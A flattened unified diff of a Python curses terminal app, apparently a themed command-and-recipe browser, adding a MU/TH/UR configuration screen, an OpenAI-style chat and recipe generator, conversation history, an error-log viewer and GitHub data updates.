@@ def load_recipes(): shutil.copy2(src, dst) except Exception as e: log_error(f"Failed to copy recipes from ./recipes/: {e}") - # Now load all JSON files from target dir recipes = [] for filename in os.listdir(target_dir): @@ -670,7 +620,6 @@ def load_recipes(): except Exception as e: log_error(f"Failed to load recipe {filename}: {e}") return sorted(recipes, key=lambda x: x["name"].lower()) - def show_recipe_details(stdscr, recipe): """Split-screen: left = step list, right = selected step details. Header (including STEPS) is left-aligned inside the centered block.""" @@ -678,13 +627,11 @@ def show_recipe_details(stdscr, recipe): max_y, max_x = stdscr.getmaxyx() effective_max_y = max_y - (2 * BORDER_MARGIN_Y) effective_max_x = max_x - (2 * BORDER_MARGIN_X) - tools = recipe.get("tools", []) steps = sorted(recipe.get("steps", []), key=lambda x: x.get("index", 0)) if not steps: _show_msg(stdscr, "NO STEPS IN THIS RECIPE.") return - # ------------------------------------------------------------------ # # 1. Build the **left-aligned** header lines # ------------------------------------------------------------------ # @@ -696,7 +643,6 @@ def show_recipe_details(stdscr, recipe): "", "TOOLS REQUIRED:", ] - for tool in tools: header_lines.append(f"• {tool.get('name', 'Unnamed Tool')}") url = tool.get("url", "").strip() @@ -726,10 +672,8 @@ def show_recipe_details(stdscr, recipe): header_lines.append(" " + chunk) remaining = remaining[len(chunk):] header_lines.append("") - header_lines.append("STEPS:") header_lines.append("") # blank line before the scrollable list - # ------------------------------------------------------------------ # # 2. Layout constants # ------------------------------------------------------------------ # @@ -739,22 +683,18 @@ def show_recipe_details(stdscr, recipe): if detail_width < 30: detail_width = 30 list_width = effective_max_x - detail_width - 3 - header_height = len(header_lines) list_max_y = effective_max_y - header_height - 3 # 3 = spacing + instruction if list_max_y < 3: list_max_y = 3 - current_row = 0 scroll_offset = 0 max_row = len(steps) - 1 - # ------------------------------------------------------------------ # # 3. Main loop # ------------------------------------------------------------------ # while True: stdscr.clear() - # ---- Header (left-aligned, block-centered) ---- block_start_x = BORDER_MARGIN_X y = BORDER_MARGIN_Y @@ -773,9 +713,7 @@ def show_recipe_details(stdscr, recipe): except: pass y += 1 - list_start_y = y - # ---- Vertical separator ---- sep_x = BORDER_MARGIN_X + list_width + 1 for row in range(list_start_y, max_y - BORDER_MARGIN_Y - 1): @@ -783,7 +721,6 @@ def show_recipe_details(stdscr, recipe): stdscr.addch(row, sep_x, '│', color_pair) except: pass - # ---- Left: Step list (scrollable) ---- visible = 0 for idx in range(scroll_offset, min(scroll_offset + list_max_y, len(steps))): @@ -797,16 +734,13 @@ def show_recipe_details(stdscr, recipe): except: pass visible += 1 - # ---- Right: Selected step details ---- sel = steps[current_row] dy = list_start_y dlines = [] - dlines.append(f"STEP [{sel.get('index', '?')}]") dlines.append(sel.get("name", "Unnamed Step")) dlines.append("") - cmd = sel.get("command", "").strip() if cmd: dlines.append("COMMAND:") @@ -814,8 +748,6 @@ def show_recipe_details(stdscr, recipe): while remaining: dlines.append(remaining[:detail_width]) remaining = remaining[detail_width:] - dlines.append("") - desc = sel.get("description", "").strip() if desc: dlines.append("DESCRIPTION:") @@ -824,7 +756,6 @@ def show_recipe_details(stdscr, recipe): while remaining: dlines.append(remaining[:detail_width]) remaining = remaining[detail_width:] - for line in dlines: if dy >= max_y - BORDER_MARGIN_Y - 1: break @@ -833,12 +764,8 @@ def show_recipe_details(stdscr, recipe): attr |= curses.A_BOLD elif line.startswith("STEP [") or line == sel.get("name", ""): attr |= curses.A_BOLD - try: - stdscr.addstr(dy, detail_start_x, line, attr) - except: - pass + type_text(stdscr, dy, line, attr, x_offset=detail_start_x, animate=False, max_width=detail_width) dy += 1 - # ---- Scrollbar (left panel) ---- if len(steps) > list_max_y: bar_y = list_start_y + int((current_row / max_row) * list_max_y) @@ -846,15 +773,12 @@ def show_recipe_details(stdscr, recipe): stdscr.addch(bar_y, BORDER_MARGIN_X + list_width - 1, '█', color_pair | curses.A_BOLD) except: pass - # ---- Bottom instruction ---- instr = "UP/DOWN NAVIGATE • C TO COPY • ESC TO EXIT" instr_x = BORDER_MARGIN_X + (effective_max_x - len(instr)) // 2 type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, instr, color_pair, x_offset=instr_x, animate=False) - stdscr.refresh() - # ------------------------------------------------------------------ # # 4. Input handling # ------------------------------------------------------------------ # @@ -879,13 +803,11 @@ def show_recipe_details(stdscr, recipe): continue elif key in (10, 27): # ENTER / ESC break - # ---- Scrolling ---- if current_row < scroll_offset: scroll_offset = current_row elif current_row >= scroll_offset + list_max_y: scroll_offset = current_row - list_max_y + 1 - def run_commands(stdscr): """Handle the Commands menu with categories and commands.""" color_pair = get_color_pair() @@ -911,27 +833,21 @@ def run_commands(stdscr): stdscr.refresh() stdscr.getch() return - with open(COMMANDS_FILE, 'r') as f: data = json.load(f) - # keep the full list for the related-lookup all_commands = data['commands'] - categories = {cat['id']: cat['Name'] for cat in data['Categories']} commands = data['commands'] groups = defaultdict(list) for cmd in commands: groups[cmd['Category']].append(cmd) - category_ids = sorted(groups.keys(), key=lambda cid: categories[cid].lower()) - while True: selected_cat = list_menu(stdscr, "COMMANDS CATEGORIES", category_ids, lambda cid: categories[cid]) if selected_cat is None: return - category_commands = sorted(groups[selected_cat], key=lambda c: c['Name']) selected_cmd = list_menu( stdscr, @@ -941,35 +857,28 @@ def run_commands(stdscr): ) if selected_cmd is None: continue - # *** NEW *** pass the full command list so related can be resolved show_details(stdscr, selected_cmd, all_commands) - - - def run_cookbook(stdscr): - """Scrollable cookbook menu – shows *all* recipes, wraps long titles.""" + """Scrollable cookbook menu – shows _all_ recipes, wraps long titles.""" recipes = load_recipes() if not recipes: _show_msg(stdscr, "NO RECIPES FOUND IN ~/.cyberdeck/recipes/") return - # --------------------------------------------------------------- # # 1. Compute the exact width we have for the list items # --------------------------------------------------------------- # max_y, max_x = stdscr.getmaxyx() effective_max_x = max_x - (2 * BORDER_MARGIN_X) # respect side margins item_max_width = effective_max_x - 4 # 2 spaces + 2 for selection arrow - # --------------------------------------------------------------- # - # 2. Helper that returns a *wrapped* display string + # 2. Helper that returns a _wrapped_ display string # --------------------------------------------------------------- # def wrap_name(name): if len(name) <= item_max_width: return name # truncate with ellipsis return name[:item_max_width - 3] + "..." - # --------------------------------------------------------------- # # 3. Use the generic list_menu (already handles scrolling, centering, etc.) # --------------------------------------------------------------- # @@ -981,7 +890,6 @@ def run_cookbook(stdscr): ) if selected: show_recipe_details(stdscr, selected) - def run_search(stdscr): """Dual-panel search: [COMMAND] left, [RECIPE] right. Arrow keys navigate.""" color_pair = get_color_pair() @@ -1009,9 +917,7 @@ def run_search(stdscr): if not query: _show_msg(stdscr, "NO QUERY ENTERED.") return - words = query.split() - # --- Load and filter COMMANDS --- commands = [] if os.path.exists(COMMANDS_FILE): @@ -1025,7 +931,6 @@ def run_search(stdscr): except Exception as e: log_error(f"Failed to load commands: {e}") commands.sort(key=lambda c: c['Name'].lower()) - # --- Load and filter RECIPES --- recipes = [] all_recipes = load_recipes() @@ -1034,11 +939,9 @@ def run_search(stdscr): if all(word in text for word in words): recipes.append(recipe) recipes.sort(key=lambda r: r.get('name', '').lower()) - if not commands and not recipes: _show_msg(stdscr, "NO RESULTS FOUND.") return - # --- Layout --- left_width = 40 right_start_x = BORDER_MARGIN_X + left_width + 3 @@ -1046,25 +949,20 @@ def run_search(stdscr): if right_width < 30: right_width = 30 left_width = effective_max_x - right_width - 3 - header_y = BORDER_MARGIN_Y list_start_y = header_y + 3 list_height = effective_max_y - 6 # header + spacing + instruction - # Panel state active_panel = 0 # 0 = left (commands), 1 = right (recipes) cmd_row = 0 cmd_scroll = 0 recipe_row = 0 recipe_scroll = 0 - while True: stdscr.clear() - # --- Headers --- type_text(stdscr, header_y, "[COMMAND]", color_pair | curses.A_BOLD, x_offset=BORDER_MARGIN_X, animate=False) type_text(stdscr, header_y, "[RECIPE]", color_pair | curses.A_BOLD, x_offset=right_start_x, animate=False) - # --- Separator --- sep_x = BORDER_MARGIN_X + left_width + 1 for y in range(list_start_y, max_y - BORDER_MARGIN_Y - 1): @@ -1072,7 +970,6 @@ def run_search(stdscr): stdscr.addch(y, sep_x, '│', color_pair) except: pass - # --- Left: Commands --- cmd_max_row = len(commands) - 1 visible = 0 @@ -1086,7 +983,6 @@ def run_search(stdscr): except: pass visible += 1 - # --- Right: Recipes --- rec_max_row = len(recipes) - 1 visible = 0 @@ -1100,7 +996,6 @@ def run_search(stdscr): except: pass visible += 1 - # --- Scrollbars --- if len(commands) > list_height and active_panel == 0: bar_y = list_start_y + int((cmd_row / cmd_max_row) * list_height) @@ -1114,17 +1009,13 @@ def run_search(stdscr): stdscr.addch(bar_y, right_start_x + right_width - 1, '█', color_pair | curses.A_BOLD) except: pass - # --- Bottom instruction --- instr = "←→ SWITCH PANEL • ↑↓ NAVIGATE • ENTER SELECT • ESC BACK" instr_x = BORDER_MARGIN_X + (effective_max_x - len(instr)) // 2 type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, instr, color_pair, x_offset=instr_x, animate=False) - stdscr.refresh() - # --- Input --- key = stdscr.getch() - if key in (curses.KEY_LEFT, curses.KEY_RIGHT): active_panel = 1 - active_panel elif key == curses.KEY_UP: @@ -1147,7 +1038,6 @@ def run_search(stdscr): break else: continue - # --- Scrolling --- if active_panel == 0: if cmd_row < cmd_scroll: @@ -1159,9 +1049,7 @@ def run_search(stdscr): recipe_scroll = recipe_row elif recipe_row >= recipe_scroll + list_height: recipe_scroll = recipe_row - list_height + 1 - import hashlib - def get_local_sha(file_path): """Get SHA1 hash of a local file for comparison.""" try: @@ -1172,11 +1060,9 @@ def get_local_sha(file_path): return sha1.hexdigest() except: return None - def force_update_all(): """Force update commands.json and all recipes from GitHub.""" updated = False - # --- Update commands.json --- url = "https://raw.githubusercontent.com/DotNetRussell/CyberDeck/refs/heads/main/commands.json" try: @@ -1195,7 +1081,6 @@ def force_update_all(): updated = True except Exception as e: log_error(f"Failed to update commands.json: {e}") - # --- Update recipes from GitHub --- os.makedirs(RECIPES_DIR, exist_ok=True) try: @@ -1204,18 +1089,15 @@ def force_update_all(): response = requests.get(api_url, timeout=5) response.raise_for_status() files = response.json() - for item in files: if item['type'] == 'file' and item['name'].endswith('.json'): filename = item['name'] raw_url = item['download_url'] # Direct raw URL local_path = os.path.join(RECIPES_DIR, filename) - # Download and check if newer (by SHA or manual date check) resp = requests.get(raw_url, timeout=5) resp.raise_for_status() remote_data = resp.json() - # If local doesn't exist or remote SHA differs, update if not os.path.exists(local_path) or item['sha'] != get_local_sha(local_path): with open(local_path, 'w') as f: @@ -1223,77 +1105,66 @@ def force_update_all(): updated = True except Exception as e: log_error(f"Failed to update recipes from GitHub: {e}") - return updated - -def run_settings(stdscr, color_pair): +def run_general_settings(stdscr, color_pair): """Centered settings grid with live preview and perfect spacing.""" global settings max_y, max_x = stdscr.getmaxyx() effective_max_y = max_y - (2 * BORDER_MARGIN_Y) effective_max_x = max_x - (2 * BORDER_MARGIN_X) - # Options colors = ["GREEN", "WHITE", "CYAN", "RED", "YELLOW", "PURPLE", "PINK", "TOXIC GREEN"] anim_options = ["DISABLED", "ENABLED"] auto_options = ["DISABLED", "ENABLED"] - + error_options = ["DISABLED", "ENABLED"] # Current values cur_color = settings['text_color'].upper() cur_anim = "ENABLED" if settings['animation_enabled'] else "DISABLED" cur_auto = "ENABLED" if settings.get('auto_update_on_startup', True) else "DISABLED" - + cur_error = "ENABLED" if settings.get('error_log_access', True) else "DISABLED" # Indices color_idx = colors.index(cur_color) anim_idx = anim_options.index(cur_anim) auto_idx = auto_options.index(cur_auto) - - selected_row = 0 # 0=color, 1=anim, 2=auto - max_row = 2 - + error_idx = error_options.index(cur_error) + selected_row = 0 # 0=color, 1=anim, 2=auto, 3=error + max_row = 3 # Column widths (fixed for alignment) label_width = 14 value_width = 12 status_width = 6 total_width = label_width + value_width + status_width + 6 # +6 for spacing - # Center the entire block block_start_x = BORDER_MARGIN_X + (effective_max_x - total_width) // 2 if block_start_x < BORDER_MARGIN_X: block_start_x = BORDER_MARGIN_X - label_col = block_start_x value_col = label_col + label_width + 2 status_col = value_col + value_width + 2 row_height = 3 start_y = BORDER_MARGIN_Y + 4 - while True: stdscr.clear() - # --- Header (centered) --- header1 = "=== MU/TH/UR INTERFACE ===" - header2 = "== SETTINGS ==" + header2 = "== GENERAL SETTINGS ==" type_text(stdscr, BORDER_MARGIN_Y, header1, color_pair | curses.A_BOLD, x_offset=BORDER_MARGIN_X + (effective_max_x - len(header1)) // 2, animate=False) type_text(stdscr, BORDER_MARGIN_Y + 1, header2, color_pair, x_offset=BORDER_MARGIN_X + (effective_max_x - len(header2)) // 2, animate=False) - # --- Grid Rows --- rows = [ ("TEXT COLOR:", colors[color_idx], "check"), ("ANIMATION:", anim_options[anim_idx], "check" if anim_idx else "cross"), ("AUTO UPDATE:", auto_options[auto_idx], "check" if auto_idx else "cross"), + ("ERROR LOG ACCESS:", error_options[error_idx], "check" if error_idx else "cross"), ] - for i, (label, value, status) in enumerate(rows): y = start_y + i * row_height is_selected = (i == selected_row) - # Label attr = color_pair | (curses.A_REVERSE if is_selected else 0) type_text(stdscr, y, label, attr, x_offset=label_col, animate=False) - # Value (live color preview for text color) if i == 0: preview_pair = get_color_pair() @@ -1302,26 +1173,20 @@ def run_settings(stdscr, color_pair): else: type_text(stdscr, y, value, color_pair | (curses.A_REVERSE if is_selected else 0), x_offset=value_col, animate=False) - # Status icon #icon = "check" if status == "check" else "cross" #type_text(stdscr, y, icon, color_pair, x_offset=status_col, animate=False) - # --- Force Update Button --- - btn_y = start_y + 4 * row_height + btn_y = start_y + 5 * row_height btn_text = "[ F ] FORCE UPDATE ALL DATA" btn_x = BORDER_MARGIN_X + (effective_max_x - len(btn_text)) // 2 type_text(stdscr, btn_y, btn_text, color_pair | curses.A_BOLD, x_offset=btn_x, animate=False) - # --- Instructions --- instr = "↑↓ NAVIGATE • ←→ CHANGE • ENTER SELECT • F UPDATE • ESC EXIT" instr_x = BORDER_MARGIN_X + (effective_max_x - len(instr)) // 2 type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, instr, color_pair, x_offset=instr_x, animate=False) - stdscr.refresh() - key = stdscr.getch() - # --- Navigation --- if key == curses.KEY_UP and selected_row > 0: selected_row -= 1 @@ -1339,6 +1204,9 @@ def run_settings(stdscr, color_pair): elif selected_row == 2: auto_idx = (auto_idx + direction) % len(auto_options) settings['auto_update_on_startup'] = auto_options[auto_idx] == "ENABLED" + elif selected_row == 3: + error_idx = (error_idx + direction) % len(error_options) + settings['error_log_access'] = error_options[error_idx] == "ENABLED" save_settings(settings) elif key == 10: # Enter save_settings(settings) @@ -1353,7 +1221,375 @@ def run_settings(stdscr, color_pair): continue elif key == 27: return color_pair - +def run_muthur_config(stdscr): + """MU/TH/UR config settings.""" + global settings + color_pair = get_color_pair() + max_y, max_x = stdscr.getmaxyx() + effective_max_y = max_y - (2 * BORDER_MARGIN_Y) + effective_max_x = max_x - (2 * BORDER_MARGIN_X) + # Current values + api_key = settings['muthur']['api_key'] + endpoint = settings['muthur']['api_endpoint'] + protocol = settings['muthur']['protocol'] + selected_model = settings['muthur']['selected_model'] + models = settings['muthur']['models'] + # Options + protocols = ["HTTP", "HTTPS"] + protocol_idx = protocols.index(protocol) + model_idx = models.index(selected_model) if selected_model in models else 0 + selected_row = 0 # 0=api_key, 1=endpoint, 2=protocol, 3=fetch models, 4=model, 5=clear log + max_row = 5 + label_width = 20 + value_width = 30 + total_width = label_width + value_width + 6 + block_start_x = BORDER_MARGIN_X + (effective_max_x - total_width) // 2 + if block_start_x < BORDER_MARGIN_X: + block_start_x = BORDER_MARGIN_X + label_col = block_start_x + value_col = label_col + label_width + 2 + row_height = 2 + start_y = BORDER_MARGIN_Y + 4 + while True: + stdscr.clear() + # --- Header --- + header1 = "=== MU/TH/UR INTERFACE ===" + header2 = "== MU/TH/UR CONFIG ==" + type_text(stdscr, BORDER_MARGIN_Y, header1, color_pair | curses.A_BOLD, + x_offset=BORDER_MARGIN_X + (effective_max_x - len(header1)) // 2, animate=False) + type_text(stdscr, BORDER_MARGIN_Y + 1, header2, color_pair, + x_offset=BORDER_MARGIN_X + (effective_max_x - len(header2)) // 2, animate=False) + # --- Rows --- + rows = [ + ("API KEY:", api_key if api_key else "[NOT SET]", False), + ("API ENDPOINT:", endpoint if endpoint else "[NOT SET]", False), + ("PROTOCOL:", protocols[protocol_idx], False), + ("FETCH MODELS:", "[PRESS ENTER]", False), + ("MODEL:", models[model_idx] if models else "[NO MODELS]", False), + ("CLEAR LOG:", "[PRESS ENTER]", False), + ] + for i, (label, value, is_button) in enumerate(rows): + y = start_y + i * row_height + is_selected = (i == selected_row) + attr = color_pair | (curses.A_REVERSE if is_selected else 0) + type_text(stdscr, y, label, attr, x_offset=label_col, animate=False) + type_text(stdscr, y, value, attr, x_offset=value_col, animate=False) + # --- Instructions --- + instr = "↑↓ NAVIGATE • ENTER EDIT/SELECT • ESC EXIT" + instr_x = BORDER_MARGIN_X + (effective_max_x - len(instr)) // 2 + type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, instr, color_pair, x_offset=instr_x, animate=False) + stdscr.refresh() + key = stdscr.getch() + if key == curses.KEY_UP and selected_row > 0: + selected_row -= 1 + elif key == curses.KEY_DOWN and selected_row < max_row: + selected_row += 1 + elif key == 10: # Enter + if selected_row == 0: # API KEY + stdscr.move(max_y - BORDER_MARGIN_Y - 1, value_col) + curses.echo() + try: + new_key = stdscr.getstr().decode('utf-8').strip() + api_key = new_key + settings['muthur']['api_key'] = api_key + except: + pass + curses.noecho() + elif selected_row == 1: # ENDPOINT + stdscr.move(max_y - BORDER_MARGIN_Y - 1, value_col) + curses.echo() + try: + new_ep = stdscr.getstr().decode('utf-8').strip() + endpoint = new_ep + settings['muthur']['api_endpoint'] = endpoint + except: + pass + curses.noecho() + elif selected_row == 2: # PROTOCOL + protocol_idx = (protocol_idx + 1) % len(protocols) + protocol = protocols[protocol_idx] + settings['muthur']['protocol'] = protocol + elif selected_row == 3: # FETCH MODELS + if api_key and endpoint: + url = f"{protocol.lower()}://{endpoint}/models" + headers = {"Authorization": f"Bearer {api_key}"} + try: + resp = requests.get(url, headers=headers, timeout=10) + resp.raise_for_status() + data = resp.json() + models = [m['id'] for m in data.get('data', [])] + settings['muthur']['models'] = models + if models: + model_idx = 0 + selected_model = models[0] + settings['muthur']['selected_model'] = selected_model + _show_msg(stdscr, f"FETCHED {len(models)} MODELS.") + except Exception as e: + _show_msg(stdscr, f"FAILED TO FETCH MODELS: {str(e)}") + else: + _show_msg(stdscr, "API KEY AND ENDPOINT REQUIRED.") + elif selected_row == 4: # MODEL + if models: + model_idx = (model_idx + 1) % len(models) + selected_model = models[model_idx] + settings['muthur']['selected_model'] = selected_model + elif selected_row == 5: # CLEAR LOG + try: + with open(CONVERSATION_LOG, 'w') as f: + json.dump([], f) + _show_msg(stdscr, "CONVERSATION LOG CLEARED.") + except Exception as e: + _show_msg(stdscr, f"FAILED TO CLEAR LOG: {str(e)}") + save_settings(settings) + elif key == 27: + return +def run_settings(stdscr): + """Settings menu.""" + color_pair = get_color_pair() + selected = list_menu(stdscr, "SETTINGS", ["GENERAL SETTINGS", "MU/TH/UR CONFIG"], lambda x: x) + if selected == "GENERAL SETTINGS": + color_pair = run_general_settings(stdscr, color_pair) + elif selected == "MU/TH/UR CONFIG": + run_muthur_config(stdscr) + return color_pair +def load_conversation_log(): + """Load conversation log as list of dicts.""" + try: + with open(CONVERSATION_LOG, 'r') as f: + return json.load(f) + except: + return [] +def save_conversation_log(log): + """Save conversation log.""" + try: + with open(CONVERSATION_LOG, 'w') as f: + json.dump(log, f, indent=4) + except Exception as e: + log_error(f"Failed to save conversation log: {e}") +def generate_recipe_request_payload(model,data): + return {"model": model, "messages": [{"role": "system", "content": "Output as JSON list of objects in the following format ONLY.[{\"command\":\"\",\"description\":\"\"},{\"command\":\"\",\"description\":\"\"}]"},{"role": "user", "content": data}]} +def generate_request_payload(model,data): + return {"model": model, "messages": [{"role": "system", "content": "You are to only respond as if you're the MU/TH/UR computer from the movie Aliens"},{"role": "user", "content": data}]} +def query_openai(prompt, model, isRecipe): + """Query OpenAI API.""" + api_key = settings['muthur']['api_key'] + endpoint = settings['muthur']['api_endpoint'] + protocol = settings['muthur']['protocol'] + url = f"{protocol.lower()}://{endpoint}/chat/completions" + headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"} + data = generate_recipe_request_payload(model,prompt) if isRecipe else generate_request_payload(model,prompt) + try: + resp = requests.post(url, headers=headers, json=data, timeout=30) + resp.raise_for_status() + response = resp.json()['choices'][0]['message']['content'] + return response + except Exception as e: + return f"ERROR: {str(e)}" +def run_recipe_generator(stdscr): + """Generate recipe via OpenAI.""" + color_pair = get_color_pair() + max_y, max_x = stdscr.getmaxyx() + effective_max_x = max_x - (2 * BORDER_MARGIN_X) + # Prompt for name (centered) + stdscr.clear() + prompt = "RECIPE NAME: " + type_text(stdscr, max_y // 2 - 1, prompt + "__________", color_pair | curses.A_BOLD, animate=False) + effective_prompt_x = BORDER_MARGIN_X + (effective_max_x - len(prompt + "__________")) // 2 + len(prompt) + stdscr.move(max_y // 2 - 1, effective_prompt_x) + stdscr.refresh() + curses.echo() + try: + name = stdscr.getstr().decode('utf-8').strip() + except: + name = "" + curses.noecho() + if not name: + _show_msg(stdscr, "NO NAME ENTERED.") + return + # Prompt for description (centered) + stdscr.clear() + prompt = "RECIPE DESCRIPTION: " + type_text(stdscr, max_y // 2 - 1, prompt + "__________", color_pair | curses.A_BOLD, animate=False) + effective_prompt_x = BORDER_MARGIN_X + (effective_max_x - len(prompt + "__________")) // 2 + len(prompt) + stdscr.move(max_y // 2 - 1, effective_prompt_x) + stdscr.refresh() + curses.echo() + try: + desc = stdscr.getstr().decode('utf-8').strip() + except: + desc = "" + curses.noecho() + if not desc: + _show_msg(stdscr, "NO DESCRIPTION ENTERED.") + return + # Show processing + stdscr.clear() + type_text(stdscr, max_y // 2 - 1, "PROCESSING RECIPE REQUEST...", color_pair | curses.A_BOLD, animate=False) + type_text(stdscr, max_y // 2 + 1, "PLEASE WAIT...", color_pair, animate=False) + stdscr.refresh() + # Query OpenAI + prompt = desc + response = query_openai(prompt, settings['muthur']['selected_model'], True) + + try: + steps_data = json.loads(response) + steps = [{'index': i+1, 'name': item['description'], 'command': item['command'], 'description': item['description']} for i, item in enumerate(steps_data)] + + recipe = { + 'name': name, + 'description': desc, + 'tools': [], + 'steps': steps + } + # Display the recipe + show_recipe_details(stdscr, recipe) + # Ask to save + stdscr.clear() + type_text(stdscr, max_y // 2 - 1, "SAVE THIS RECIPE? (Y/N)", color_pair | curses.A_BOLD, animate=False) + stdscr.refresh() + key = stdscr.getch() + if key in (ord('y'), ord('Y')): + filename = name.lower().replace(' ', '_') + '.json' + filepath = os.path.join(RECIPES_DIR, filename) + with open(filepath, 'w') as f: + json.dump(recipe, f, indent=4) + _show_msg(stdscr, f"RECIPE SAVED AS {filename}.") + else: + _show_msg(stdscr, "RECIPE NOT SAVED.") + except Exception as e: + _show_msg(stdscr, f"FAILED TO PARSE RESPONSE: {str(e)}") + log_error(str(e)) + log_error(str(response)) + +def run_query(stdscr): + """Query OpenAI with looping for multiple queries.""" + color_pair = get_color_pair() + max_y, max_x = stdscr.getmaxyx() + effective_max_x = max_x - (2 * BORDER_MARGIN_X) + while True: + stdscr.clear() + prompt = "ENTER QUERY: " + type_text(stdscr, max_y // 2 - 1, prompt + "__________", color_pair | curses.A_BOLD, animate=False) + effective_prompt_x = BORDER_MARGIN_X + (effective_max_x - len(prompt + "__________")) // 2 + len(prompt) + stdscr.move(max_y // 2 - 1, effective_prompt_x) + stdscr.refresh() + curses.echo() + try: + query = stdscr.getstr().decode('utf-8').strip() + except: + query = "" + curses.noecho() + if not query: + _show_msg(stdscr, "NO QUERY ENTERED.") + continue + # Show processing + stdscr.clear() + type_text(stdscr, max_y // 2 - 1, "PROCESSING QUERY...", color_pair | curses.A_BOLD, animate=False) + type_text(stdscr, max_y // 2 + 1, "PLEASE WAIT...", color_pair, animate=False) + stdscr.refresh() + response = query_openai(query, settings['muthur']['selected_model'], False) + # Save to log + log = load_conversation_log() + log.append({'prompt': query, 'response': response, 'timestamp': time.strftime("%Y-%m-%d %H:%M:%S")}) + save_conversation_log(log) + # Display response + stdscr.clear() + if settings['animation_enabled']: + effective_max_y = max_y - (2 * BORDER_MARGIN_Y) + start_y = BORDER_MARGIN_Y + effective_max_y // 2 + type_text(stdscr, start_y, f"MU/TH/UR: {response}", color_pair | curses.A_BOLD) + else: + _show_msg(stdscr, f"RESPONSE: {response}") + type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, "PRESS ANY KEY TO QUERY AGAIN, ESC TO EXIT", color_pair, animate=False) + stdscr.refresh() + key = stdscr.getch() + if key == 27: # ESC + break + # Otherwise, loop back to prompt +def show_conversation_details(stdscr, entry): + """Show prompt and response.""" + color_pair = get_color_pair() + max_y, max_x = stdscr.getmaxyx() + effective_max_x = max_x - (2 * BORDER_MARGIN_X) + lines = [ + "=== CONVERSATION ENTRY ===", + "", + f"PROMPT: {entry['prompt']}", + "", + f"RESPONSE: {entry['response']}", + "", + f"TIMESTAMP: {entry['timestamp']}" + ] + stdscr.clear() + y = BORDER_MARGIN_Y + for line in lines: + y = type_text(stdscr, y, line, color_pair | curses.A_BOLD if "===" in line else color_pair, animate=False) + type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, "PRESS ANY KEY TO RETURN.", color_pair, animate=False) + stdscr.refresh() + stdscr.getch() +def run_conversation_history(stdscr): + """View conversation history.""" + log = load_conversation_log() + if not log: + _show_msg(stdscr, "NO CONVERSATION HISTORY.") + return + selected = list_menu(stdscr, "CONVERSATION HISTORY", log, lambda e: e['prompt'][:50] + ('...' if len(e['prompt']) > 50 else '')) + if selected: + show_conversation_details(stdscr, selected) +def run_muthur(stdscr): + """MU/TH/UR menu.""" + if not settings['muthur']['api_endpoint'] or not settings['muthur']['selected_model']: + _show_msg(stdscr, "MU/TH/UR NOT CONFIGURED. PLEASE SET API ENDPOINT AND SELECT MODEL IN SETTINGS.") + return + selected = list_menu(stdscr, "MU/TH/UR", ["RECIPE GENERATOR", "QUERY MU/TH/UR", "CONVERSATION HISTORY"], lambda x: x) + if selected == "RECIPE GENERATOR": + run_recipe_generator(stdscr) + elif selected == "QUERY MU/TH/UR": + run_query(stdscr) + elif selected == "CONVERSATION HISTORY": + run_conversation_history(stdscr) +def run_error_log(stdscr): + """View, copy, or delete the error log.""" + color_pair = get_color_pair() + max_y, max_x = stdscr.getmaxyx() + effective_max_x = max_x - (2 * BORDER_MARGIN_X) + try: + with open(ERROR_LOG, 'r') as f: + content = f.read() + except Exception as e: + _show_msg(stdscr, f"FAILED TO LOAD ERROR LOG: {str(e)}") + return + if not content.strip(): + _show_msg(stdscr, "ERROR LOG IS EMPTY.") + return + lines = content.split('\n') + selected = list_menu(stdscr, "ERROR LOG", lines, lambda l: l[:effective_max_x - 10] + ('...' if len(l) > effective_max_x - 10 else '')) + if selected: + # Show full entry + stdscr.clear() + y = BORDER_MARGIN_Y + y = type_text(stdscr, y, "=== ERROR LOG ENTRY ===", color_pair | curses.A_BOLD, animate=False) + y = type_text(stdscr, y, "", color_pair, animate=False) + y = type_text(stdscr, y, selected, color_pair, animate=False) + type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, "C TO COPY • D TO DELETE • ANY KEY TO EXIT", color_pair, animate=False) + stdscr.refresh() + key = stdscr.getch() + if key in (ord('c'), ord('C')): + if pyperclip: + try: + pyperclip.copy(selected) + _show_msg(stdscr, "ENTRY COPIED TO CLIPBOARD.") + except Exception as e: + _show_msg(stdscr, f"FAILED TO COPY: {str(e)}") + else: + _show_msg(stdscr, "PYPERCLIP NOT INSTALLED.") + elif key in (ord('d'), ord('D')): + try: + with open(ERROR_LOG, 'w') as f: + f.write('') + _show_msg(stdscr, "ERROR LOG DELETED.") + except Exception as e: + _show_msg(stdscr, f"FAILED TO DELETE LOG: {str(e)}") def menu(stdscr): curses.curs_set(0) curses.init_pair(1, curses.COLOR_GREEN, curses.COLOR_BLACK) @@ -1362,13 +1598,14 @@ def menu(stdscr): curses.init_pair(4, curses.COLOR_RED, curses.COLOR_BLACK) curses.init_pair(5, curses.COLOR_YELLOW, curses.COLOR_BLACK) curses.init_pair(6, curses.COLOR_MAGENTA, curses.COLOR_BLACK) - menu_items = ["COOKBOOK","COMMANDS", "SEARCH", "SETTINGS", "SHUTDOWN"] + menu_items = ["COOKBOOK","COMMANDS", "SEARCH", "MU/TH/UR", "SETTINGS", "SHUTDOWN"] + if settings.get('error_log_access', True): + menu_items.insert(4, "ERROR LOG") # Insert before SETTINGS current_row = 0 max_row = len(menu_items) - 1 color_pair = get_color_pair() max_y, max_x = stdscr.getmaxyx() scroll_offset = 0 - effective_max_x = max_x - (2 * BORDER_MARGIN_X) max_item_width = max(len(item) + 2 for item in menu_items) if max_item_width > effective_max_x: @@ -1376,16 +1613,12 @@ def menu(stdscr): x_offset = BORDER_MARGIN_X + (effective_max_x - max_item_width) // 2 if x_offset < BORDER_MARGIN_X: x_offset = BORDER_MARGIN_X - effective_max_y = max_y - (2 * BORDER_MARGIN_Y) max_visible_items = effective_max_y - 4 if max_visible_items < 1: max_visible_items = 1 - max_width = effective_max_x - 4 - original_anim = settings['animation_enabled'] - while True: header_text = "=== MU/TH/UR INTERFACE ===" subtitle_text = "== WEYLAND-YUTANI CORP ==" @@ -1393,16 +1626,13 @@ def menu(stdscr): for idx in range(scroll_offset, min(scroll_offset + max_visible_items, len(menu_items))): text = " " + menu_items[idx] item_texts.append(text) - header_lines = get_wrapped_line_count(header_text, max_width) 